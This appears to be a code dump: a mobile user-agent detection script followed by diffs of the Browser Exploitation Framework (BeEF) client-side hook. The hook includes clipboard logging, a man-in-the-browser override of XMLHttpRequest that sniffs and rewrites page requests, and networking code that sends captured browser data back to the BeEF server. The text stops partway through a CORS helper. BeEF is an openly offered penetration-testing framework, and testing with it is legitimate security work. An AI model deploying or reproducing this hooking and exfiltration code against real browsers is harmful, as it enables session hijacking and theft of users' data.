var deviceBBStorm = "blackberry95"; //Storm 1 and 2
var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
var deviceBBTour = "blackberry96"; //Tour
var deviceBBCurve = "blackberry89"; //Curve 2
var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
var deviceBBTorch = "blackberry 98"; //Torch
var deviceBBPlaybook = "playbook"; //PlayBook tablet
var devicePalm = "palm";
var deviceWebOS = "webos"; //For Palm's line of WebOS devices
var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
var engineBlazer = "blazer"; //Old Palm browser
var engineXiino = "xiino";
var deviceKindle = "kindle"; //Amazon Kindle, eInk one
var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
var vndwap = "vnd.wap";
var wml = "wml";
var deviceTablet = "tablet"; //Generic term for slate and tablet devices
var deviceBrew = "brew";
var deviceDanger = "danger";
var deviceHiptop = "hiptop";
var devicePlaystation = "playstation";
var deviceNintendoDs = "nitro";
var deviceNintendo = "nintendo";
var deviceWii = "wii";
var deviceXbox = "xbox";
var deviceArchos = "archos";
var engineOpera = "opera"; //Popular browser
var engineNetfront = "netfront"; //Common embedded OS browser
var engineUpBrowser = "up.browser"; //common on some phones
var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
var deviceMidp = "midp"; //a mobile Java technology
var uplink = "up.link";
var engineTelecaQ = 'teleca q'; //a modern feature phone browser
var devicePda = "pda";
var mini = "mini"; //Some mobile browsers put 'mini' in their names.
var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
var maemo = "maemo";
var linux = "linux";
var qtembedded = "qt embedded"; //for Sony Mylo and others
var mylocom2 = "com2"; //for Sony Mylo also
var manuSonyEricsson = "sonyericsson";
var manuericsson = "ericsson";
var manuSamsung1 = "sec-sgh";
var manuSony = "sony";
var manuHtc = "htc"; //Popular Android and WinMo manufacturer
var svcDocomo = "docomo";
var svcKddi = "kddi";
var svcVodafone = "vodafone";
var disUpdate = "update"; //pda vs. update
var uagent = "";
if (navigator && navigator.userAgent)
uagent = navigator.userAgent.toLowerCase();
function DetectIphone()
{
if (uagent.search(deviceIphone) > -1)
{
if (DetectIpad() || DetectIpod())
return false;
else
return true;
}
else
return false;
}
function DetectIpod()
{
if (uagent.search(deviceIpod) > -1)
return true;
else
return false;
}
function DetectIpad()
{
if (uagent.search(deviceIpad) > -1 && DetectWebkit())
return true;
else
return false;
}
function DetectIphoneOrIpod()
{
if (uagent.search(deviceIphone) > -1 ||
uagent.search(deviceIpod) > -1)
return true;
else
return false;
}
function DetectIos()
{
if (DetectIphoneOrIpod() || DetectIpad())
return true;
else
return false;
}
function DetectAndroid()
{
if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
return true;
if (uagent.search(deviceHtcFlyer) > -1)
return true;
else
return false;
}
function DetectAndroidPhone()
{
if (DetectAndroid() && (uagent.search(mobile) > -1))
return true;
if (DetectOperaAndroidPhone())
return true;
if (uagent.search(deviceHtcFlyer) > -1)
return true;
else
return false;
}
function DetectAndroidTablet()
{
if (!DetectAndroid())
return false;
if (DetectOperaMobile())
return false;
if (uagent.search(deviceHtcFlyer) > -1)
return false;
if (uagent.search(mobile) > -1)
return false;
else
return true;
}
function DetectAndroidWebKit()
{
if (DetectAndroid() && DetectWebkit())
return true;
else
return false;
}
function DetectGoogleTV()
{
if (uagent.search(deviceGoogleTV) > -1)
return true;
else
return false;
}
function DetectWebkit()
{
if (uagent.search(engineWebKit) > -1)
return true;
else
return false;
}
function DetectS60OssBrowser()
{
if (DetectWebkit())
{
if ((uagent.search(deviceS60) > -1 ||
uagent.search(deviceSymbian) > -1))
return true;
else
return false;
}
else
return false;
}
function DetectSymbianOS()
{
if (uagent.search(deviceSymbian) > -1 ||
uagent.search(deviceS60) > -1 ||
uagent.search(deviceS70) > -1 ||
uagent.search(deviceS80) > -1 ||
uagent.search(deviceS90) > -1)
return true;
else
return false;
}
function DetectWindowsPhone7()
{
if (uagent.search(deviceWinPhone7) > -1)
return true;
else
return false;
}
function DetectWindowsMobile()
{
if (DetectWindowsPhone7())
return false;
if (uagent.search(deviceWinMob) > -1 ||
uagent.search(deviceIeMob) > -1 ||
uagent.search(enginePie) > -1)
return true;
if ((uagent.search(devicePpc) > -1) &&
!(uagent.search(deviceMacPpc) > -1))
return true;
if (uagent.search(manuHtc) > -1 &&
uagent.search(deviceWindows) > -1)
return true;
else
return false;
}
function DetectBlackBerry()
{
if (uagent.search(deviceBB) > -1)
return true;
if (uagent.search(vndRIM) > -1)
return true;
else
return false;
}
function DetectBlackBerryTablet()
{
if (uagent.search(deviceBBPlaybook) > -1)
return true;
else
return false;
}
function DetectBlackBerryWebKit()
{
if (DetectBlackBerry() &&
uagent.search(engineWebKit) > -1)
return true;
else
return false;
}
function DetectBlackBerryTouch()
{
if (DetectBlackBerry() &&
((uagent.search(deviceBBStorm) > -1) ||
(uagent.search(deviceBBTorch) > -1) ||
(uagent.search(deviceBBBoldTouch) > -1) ||
(uagent.search(deviceBBCurveTouch) > -1) ))
return true;
else
return false;
}
function DetectBlackBerryHigh()
{
if (DetectBlackBerryWebKit())
return false;
if (DetectBlackBerry())
{
if (DetectBlackBerryTouch() ||
uagent.search(deviceBBBold) > -1 ||
uagent.search(deviceBBTour) > -1 ||
uagent.search(deviceBBCurve) > -1)
return true;
else
return false;
}
else
return false;
}
function DetectBlackBerryLow()
{
if (DetectBlackBerry())
{
if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
return false;
else
return true;
}
else
return false;
}
function DetectPalmOS()
{
if (uagent.search(devicePalm) > -1 ||
uagent.search(engineBlazer) > -1 ||
uagent.search(engineXiino) > -1)
{
if (DetectPalmWebOS())
return false;
else
return true;
}
else
return false;
}
function DetectPalmWebOS()
{
if (uagent.search(deviceWebOS) > -1)
return true;
else
return false;
}
function DetectWebOSTablet()
{
if (uagent.search(deviceWebOShp) > -1 &&
uagent.search(deviceTablet) > -1)
return true;
else
return false;
}
function DetectGarminNuvifone()
{
if (uagent.search(deviceNuvifone) > -1)
return true;
else
return false;
}
function DetectSmartphone()
{
if (DetectIphoneOrIpod()
|| DetectAndroidPhone()
|| DetectS60OssBrowser()
|| DetectSymbianOS()
|| DetectWindowsMobile()
|| DetectWindowsPhone7()
|| DetectBlackBerry()
|| DetectPalmWebOS()
|| DetectPalmOS()
|| DetectGarminNuvifone())
return true;
return false;
};
function DetectArchos()
{
if (uagent.search(deviceArchos) > -1)
return true;
else
return false;
}
function DetectBrewDevice()
{
if (uagent.search(deviceBrew) > -1)
return true;
else
return false;
}
function DetectDangerHiptop()
{
if (uagent.search(deviceDanger) > -1 ||
uagent.search(deviceHiptop) > -1)
return true;
else
return false;
}
function DetectMaemoTablet()
{
if (uagent.search(maemo) > -1)
return true;
if ((uagent.search(linux) > -1)
&& (uagent.search(deviceTablet) > -1)
&& !DetectWebOSTablet()
&& !DetectAndroid())
return true;
else
return false;
}
function DetectSonyMylo()
{
if (uagent.search(manuSony) > -1)
{
if (uagent.search(qtembedded) > -1 ||
uagent.search(mylocom2) > -1)
return true;
else
return false;
}
else
return false;
}
function DetectOperaMobile()
{
if (uagent.search(engineOpera) > -1)
{
if (uagent.search(mini) > -1 ||
uagent.search(mobi) > -1)
return true;
else
return false;
}
else
return false;
}
function DetectOperaAndroidPhone()
{
if ((uagent.search(engineOpera) > -1) &&
(uagent.search(deviceAndroid) > -1) &&
(uagent.search(mobi) > -1))
return true;
else
return false;
}
function DetectOperaAndroidTablet()
{
if ((uagent.search(engineOpera) > -1) &&
(uagent.search(deviceAndroid) > -1) &&
(uagent.search(deviceTablet) > -1))
return true;
else
return false;
}
function DetectSonyPlaystation()
{
if (uagent.search(devicePlaystation) > -1)
return true;
else
return false;
};
function DetectNintendo()
{
if (uagent.search(deviceNintendo) > -1 ||
uagent.search(deviceWii) > -1 ||
uagent.search(deviceNintendoDs) > -1)
return true;
else
return false;
};
function DetectXbox()
{
if (uagent.search(deviceXbox) > -1)
return true;
else
return false;
};
function DetectGameConsole()
{
if (DetectSonyPlaystation())
return true;
if (DetectNintendo())
return true;
if (DetectXbox())
return true;
else
return false;
};
function DetectKindle()
{
if (uagent.search(deviceKindle) > -1 &&
!DetectAndroid())
return true;
else
return false;
}
function DetectAmazonSilk()
{
if (uagent.search(engineSilk) > -1)
return true;
else
return false;
}
function DetectMobileQuick()
{
if (DetectTierTablet())
return false;
if (DetectSmartphone())
return true;
if (uagent.search(deviceMidp) > -1 ||
DetectBrewDevice())
return true;
if (DetectOperaMobile())
return true;
if (uagent.search(engineNetfront) > -1)
return true;
if (uagent.search(engineUpBrowser) > -1)
return true;
if (uagent.search(engineOpenWeb) > -1)
return true;
if (DetectDangerHiptop())
return true;
if (DetectMaemoTablet())
return true;
if (DetectArchos())
return true;
if ((uagent.search(devicePda) > -1) &&
!(uagent.search(disUpdate) > -1))
return true;
if (uagent.search(mobile) > -1)
return true;
if (DetectKindle() ||
DetectAmazonSilk())
return true;
return false;
};
function DetectMobileLong()
{
if (DetectMobileQuick())
return true;
if (DetectGameConsole())
return true;
if (DetectSonyMylo())
return true;
if (uagent.search(manuSamsung1) > -1 ||
uagent.search(manuSonyEricsson) > -1 ||
uagent.search(manuericsson) > -1)
return true;
if (uagent.search(svcDocomo) > -1)
return true;
if (uagent.search(svcKddi) > -1)
return true;
if (uagent.search(svcVodafone) > -1)
return true;
return false;
};
function DetectTierTablet()
{
if (DetectIpad()
|| DetectAndroidTablet()
|| DetectBlackBerryTablet()
|| DetectWebOSTablet())
return true;
else
return false;
};
function DetectTierIphone()
{
if (DetectIphoneOrIpod())
return true;
if (DetectAndroidPhone())
return true;
if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
return true;
if (DetectWindowsPhone7())
return true;
if (DetectPalmWebOS())
return true;
if (DetectGarminNuvifone())
return true;
else
return false;
};
function DetectTierRichCss()
{
if (DetectMobileQuick())
{
if (DetectTierIphone() || DetectKindle())
return false;
if (DetectWebkit())
return true;
if (DetectS60OssBrowser())
return true;
if (DetectBlackBerryHigh())
return true;
if (DetectWindowsMobile())
return true;
if (uagent.search(engineTelecaQ) > -1)
return true;
else
return false;
}
else
return false;
};
function DetectTierOtherPhones()
{
if (DetectMobileLong())
{
if (DetectTierIphone() || DetectTierRichCss())
return false;
else
return true;
}
else
return false;
};
function InitDeviceScan()
{
isIphone = DetectIphoneOrIpod();
isAndroidPhone = DetectAndroidPhone();
isTierIphone = DetectTierIphone();
isTierTablet = DetectTierTablet();
isTierRichCss = DetectTierRichCss();
isTierGenericMobile = DetectTierOtherPhones();
};
InitDeviceScan()

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.logger
*
@@ -59,6 +50,7 @@ beef.logger = {
*/
start: function() {
beef.browser.hookChildFrames();
this.running = true;
var d = new Date();
this.time = d.getTime();
@@ -78,10 +70,10 @@ beef.logger = {
);
document.body.oncopy = function() {
setTimeout("beef.logger.copy();", 10);
}
};
document.body.oncut = function() {
setTimeout("beef.logger.cut();", 10);
}
};
document.body.onpaste = function() {
beef.logger.paste();
}

View File

@@ -1,19 +1,10 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.mitb = {
cid:null,
@@ -23,47 +14,30 @@ beef.mitb = {
beef.mitb.cid = cid;
beef.mitb.curl = curl;
/*Override open method to intercept ajax request*/
var xml_type;
var hook_file = "<%= @hook_file %>";
if (window.XMLHttpRequest && !(window.ActiveXObject)) {
xml_type = 'XMLHttpRequest';
}
if (xml_type == "XMLHttpRequest") {
beef.mitb.sniff("Method XMLHttpRequest.open override");
(function (open) {
XMLHttpRequest.prototype.open = function (method, url, async, user, pass) {
var portRegex = new RegExp(":[0-9]+");
var portR = portRegex.exec(url);
/*return :port*/
var requestPort;
if (portR != null) {
requestPort = portR[0].split(":");
}
if ((user == "beef") && (pass == "beef")) {
/*a poisoned something*/
open.call(this, method, url, async, null, null);
}
else if (url.indexOf("hook.js") != -1 || url.indexOf("/dh?") != -1) {
/*a beef hook.js polling or dh */
open.call(this, method, url, async, null, null);
}
else {
XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
// Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
// or a request initiated by the MiTB itself.
if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
open.call(this, method, url, async, true);
}else {
var portRegex = new RegExp(":[0-9]+");
var portR = portRegex.exec(url);
var requestPort;
if (portR != null) { requestPort = portR[0].split(":")[1]; }
//GET request
if (method == "GET") {
//GET request -> cross-domain
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
window.open(url);
}
else {
}else { //GET request -> same-domain
beef.mitb.sniff("GET [Ajax Request]: " + url);
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
var title = "";
@@ -72,26 +46,19 @@ beef.mitb = {
} else {
title = document.getElementsByTagName("title")[0].innerHTML;
}
/*write the url of the page*/
// write the url of the page
history.pushState({ Be:"EF" }, title, url);
}
}
}
else {
/*if we are here we have an ajax post req*/
beef.mitb.sniff("Post ajax request to: " + url);
open.call(this, method, url, async, user, pass);
}else{
//POST request
beef.mitb.sniff("POST ajax request to: " + url);
open.call(this, method, url, async, true);
}
}
};
})(XMLHttpRequest.prototype.open);
}
},
// Initializes the hook on anchors and forms.
@@ -170,14 +137,14 @@ beef.mitb = {
fetchForm:function (url, query, target) {
try {
var y = new XMLHttpRequest();
y.open('POST', url, false, "beef", "beef");
y.open('POST', url, false, true);
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
y.onreadystatechange = function () {
if (y.readyState == 4 && y.responseText != "") {
target.innerHTML = y.responseText;
setTimeout(beef.mitb.hook, 10);
}
}
};
y.send(query);
beef.mitb.sniff("POST: " + url + "[" + query + "]");
return true;
@@ -190,14 +157,13 @@ beef.mitb = {
fetch:function (url, target) {
try {
var y = new XMLHttpRequest();
y.open('GET', url, false, "beef", "beef");
y.open('GET', url, false, true);
y.onreadystatechange = function () {
if (y.readyState == 4 && y.responseText != "") {
target.innerHTML = y.responseText;
setTimeout(beef.mitb.hook, 10);
}
}
};
y.send(null);
beef.mitb.sniff("GET: " + url);
return true;
@@ -213,7 +179,7 @@ beef.mitb = {
try {
var target = document.getElementsByTagName("html")[0];
var y = new XMLHttpRequest();
y.open('GET', url, false, "beef", "beef");
y.open('GET', url, false, true);
y.onreadystatechange = function () {
if (y.readyState == 4 && y.responseText != "") {
var title = "";
@@ -227,16 +193,14 @@ beef.mitb = {
target.innerHTML = y.responseText;
setTimeout(beef.mitb.hook, 10);
}
}
};
y.send(null);
beef.mitb.sniff("GET: " + url);
} catch (x) {
// the link is cross-domain, so load the resource in a different tab
window.open(url);
beef.mitb.sniff("GET [New Window]: " + url);
}
},
@@ -253,4 +217,6 @@ beef.mitb = {
endSession:function () {
beef.mitb.sniff("Window closed.");
}
}
};
beef.regCmp('beef.mitb');

View File

@@ -1,67 +1,74 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net
*
* Provides basic networking functions.
* Provides basic networking functions,
* like beef.net.request and beef.net.forgeRequest,
* used by BeEF command modules and the Requester extension,
* as well as beef.net.send which is used to return commands
* to BeEF server-side components.
*
* Also, it contains the core methods used by the XHR-polling
* mechanism (flush, queue)
*/
beef.net = {
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
handler: '/dh',
chop: 500,
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count: 0,
cmd_queue: [],
host:"<%= @beef_host %>",
port:"<%= @beef_port %>",
hook:"<%= @beef_hook %>",
httpproto:"<%= @beef_proto %>",
handler:'/dh',
chop:500,
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count:0,
cmd_queue:[],
//Command object
command: function() {
/**
* Command object. This represents the data to be sent back to BeEF,
* using the beef.net.send() method.
*/
command:function () {
this.cid = null;
this.results = null;
this.handler = null;
this.callback = null;
},
//Packet object
packet: function() {
/**
* Packet object. A single chunk of data. X packets -> 1 stream
*/
packet:function () {
this.id = null;
this.data = null;
},
//Stream object
stream: function() {
/**
* Stream object. Contains X packets, which are command result chunks.
*/
stream:function () {
this.id = null;
this.packets = [];
this.pc = 0;
this.get_base_url_length = function() {
this.get_base_url_length = function () {
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
},
this.get_packet_data = function() {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
};
this.get_packet_data = function () {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
},
/**
* Response Object - used in the beef.net.request callback
* Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
* NOTE: as we are using async mode, the response object will be empty if returned.
* Using sync mode, request obj fields will be populated.
*/
response: function() {
response:function () {
this.status_code = null; // 500, 404, 200, 302
this.status_text = null; // success, timeout, error, ...
this.response_body = null; // "<html>…." if not a cross domain request
@@ -72,8 +79,14 @@ beef.net = {
this.headers = null; // full response headers
},
//Queues the command, to be sent back to the framework on the next refresh
queue: function(handler, cid, results, callback) {
/**
* Queues the specified command results.
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Function} callback: the function to call after execution
*/
queue:function (handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command();
s.cid = cid;
@@ -84,14 +97,41 @@ beef.net = {
}
},
//Queues the current command and flushes the queue straight away
send: function(handler, cid, results, callback) {
this.queue(handler, cid, results, callback);
this.flush();
/**
* Queues the current command results and flushes the queue straight away.
* NOTE: Always send Browser Fingerprinting results
* (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
* even if WebSockets are enabled.
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Function} callback: the function to call after execution
*/
send:function (handler, cid, results, callback) {
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
this.queue(handler, cid, results, callback);
this.flush();
}else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
}catch (e) {
this.queue(handler, cid, results, callback);
this.flush();
}
}
},
//Flush all currently queued commands to the framework
flush: function() {
/**
* Flush all currently queued command results to the framework,
* chopping the data in chunks ('chunk' method) which will be re-assembled
* server-side by the network stack.
* NOTE: currently 'flush' is used only with the default
* XHR-polling mechanism. If WebSockets are used, the data is sent
* back to BeEF straight away.
*/
flush:function () {
if (this.cmd_queue.length > 0) {
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
@@ -114,22 +154,30 @@ beef.net = {
}
},
//Split string into chunk lengths determined by amount
chunk: function(str, amount) {
/**
* Split the input data into chunk lengths determined by the amount parameter.
* @param: {String} str: the input data
* @param: {Integer} amount: chunk length
*/
chunk:function (str, amount) {
if (typeof amount == 'undefined') n = 2;
return str.match(RegExp('.{1,' + amount + '}', 'g'));
},
//Push packets to framework
push: function(stream) {
/**
* Push the input stream back to the BeEF server-side components.
* It uses beef.net.request to send back the data.
* @param: {Object} stream: the stream object to be sent back.
*/
push:function (stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++) {
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
}
},
/**
*Performs http requests
* Performs http requests
* @param: {String} scheme: HTTP or HTTPS
* @param: {String} method: GET or POST
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
@@ -143,10 +191,10 @@ beef.net = {
*
* @return: {Object} response: this object contains the response details
*/
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain){
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
if(document.location.port == "" || document.location.port == null){
cross_domain = !(port == "80" || port == "443");
}
@@ -154,9 +202,9 @@ beef.net = {
//build the url
var url = "";
if(path.indexOf("http://") != -1 || path.indexOf("https://") != -1){
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
url = path;
}else{
} else {
url = scheme + "://" + domain;
url = (port != null) ? url + ":" + port : url;
url = (path != null) ? url + path : url;
@@ -176,26 +224,25 @@ beef.net = {
$j.ajaxSetup({
dataType: dataType
});
}else{ //GET, HEAD, ...
} else {
$j.ajaxSetup({
dataType: 'script'
dataType: 'script'
});
}
//build and execute the request
$j.ajax({type: method,
url: url,
data: data,
timeout: (timeout * 1000),
$j.ajax({type:method,
url:url,
data:data,
timeout:(timeout * 1000),
//needed otherwise jQuery always add Content-type: application/xml, even if data is populated
beforeSend: function(xhr) {
if(method == "POST"){
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
success: function(data, textStatus, xhr) {
success:function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -204,14 +251,14 @@ beef.net = {
response.was_timedout = false;
response.duration = (end_time - start_time);
},
error: function(jqXHR, textStatus, errorThrown) {
error:function (jqXHR, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = jqXHR.responseText;
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
},
complete: function(jqXHR, textStatus) {
complete:function (jqXHR, textStatus) {
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.headers = jqXHR.getAllResponseHeaders();
@@ -226,26 +273,29 @@ beef.net = {
response.port_status = "open";
}
}
}).done(function() {
if (callback != null) {
callback(response);
}
});
}).done(function () {
if (callback != null) {
callback(response);
}
});
return response;
},
/*
* Similar to this.request, except from a few things that are needed when dealing with forged requests:
* Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
* - requestid: needed on the callback
* - allowCrossDomain: set cross-domain requests as allowed or blocked
*
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
*/
forge_request: function(scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
// check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain) {
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
if(document.location.port == "" || document.location.port == null){
cross_domain = !(port == "80" || port == "443");
cross_domain = !(port == "80" || port == "443");
} else {
if (document.location.port == port) cross_domain = false;
}
@@ -274,35 +324,45 @@ beef.net = {
response.status_text = "crossdomain";
response.port_status = "crossdomain";
response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
callback(response, requestid);
return response;
}
// build and execute the request
/*
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
* This will turn POSTs into GETs for remote-domain requests.
*/
if (method == "POST"){
$j.ajaxSetup({
data: data
});
$j.ajaxSetup({
dataType: dataType
});
} else {
$j.ajaxSetup({
dataType: 'script'
});
}
// this is required for bugs in IE so data can be transferred back to the server
if ( beef.browser.isIE() ) {
dataType = 'script'
}
$j.ajax({type: method,
dataType: 'script', // this is required for bugs in IE so data can be transfered back to the server
dataType: dataType,
url: url,
headers: headers,
timeout: (timeout * 1000),
// needed otherwise jQuery always adds:
// Content-type: application/xml
// even if data is populated
beforeSend: function(xhr) {
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
// http server responded successfully
success: function(data, textStatus, xhr) {
success:function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -313,7 +373,7 @@ beef.net = {
// server responded with a http error (403, 404, 500, etc)
// or server is not a http server
error: function(xhr, textStatus, errorThrown) {
error:function (xhr, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = xhr.responseText;
response.status_code = xhr.status;
@@ -321,14 +381,34 @@ beef.net = {
response.duration = (end_time - start_time);
},
complete: function(xhr, textStatus) {
complete:function (xhr, textStatus) {
// cross-domain request
if (cross_domain) {
response.status_code = -1;
response.status_text = "crossdomain";
response.port_status = "crossdomain";
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
response.port_status = "crossdomain";
if (xhr.status != 0) {
response.status_code = xhr.status;
} else {
response.status_code = -1;
}
if (textStatus) {
response.status_text = textStatus;
} else {
response.status_text = "crossdomain";
}
if (xhr.getAllResponseHeaders()) {
response.headers = xhr.getAllResponseHeaders();
} else {
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
if (!response.response_body) {
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
} else {
// same-domain request
response.status_code = xhr.status;
@@ -354,7 +434,7 @@ beef.net = {
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean: function(r) {
clean:function (r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
@@ -365,7 +445,7 @@ beef.net = {
},
//Detects if an array has a string key
array_has_string_key: function(arr) {
array_has_string_key:function (arr) {
if ($j.isArray(arr)) {
try {
for (var key in arr)
@@ -376,8 +456,10 @@ beef.net = {
return false;
},
//Sends back browser details to framework
browser_details: function() {
/**
* Sends back browser details to framework, calling beef.browser.getDetails()
*/
browser_details:function () {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);

View File

@@ -0,0 +1,77 @@
beef.net.cors = {
handler: "cors",
/**
* Response Object - used in the beef.net.request callback
*/
response:function () {
this.status = null; // 500, 404, 200, 302, etc
this.headers = null; // full response headers
this.body = null; // full response body
},
/**
* Make a cross-domain request using CORS
*
* @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
* @param url {String} url
* @param data {String} request body
* @param callback {Function} function to callback on completion
*/
request: function(method, url, data, callback) {
var xhr;
var response = new this.response;
if (XMLHttpRequest) {
xhr = new XMLHttpRequest();
if ('withCredentials' in xhr) {
xhr.open(method, url, true);
xhr.onerror = function() {
};
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
response.headers = this.getAllResponseHeaders()
response.body = this.responseText;
response.status = this.status;
if (!!callback) {
if (!!response) {
callback(response);
} else {
callback('ERROR: No Response. CORS requests may be denied for this resource.')
}
}
}
};
xhr.send(data);
}
} else if (typeof XDomainRequest != "undefined") {
xhr = new XDomainRequest();
xhr.open(method, url);
xhr.onerror = function() {
};
xhr.onload = function() {
response.headers = this.getAllResponseHeaders()
response.body = this.responseText;
response.status = this.status;
if (!!callback) {
if (!!response) {
callback(response);
} else {
callback('ERROR: No Response. CORS requests may be denied for this resource.')
}
}
};
xhr.send(data);
} else {
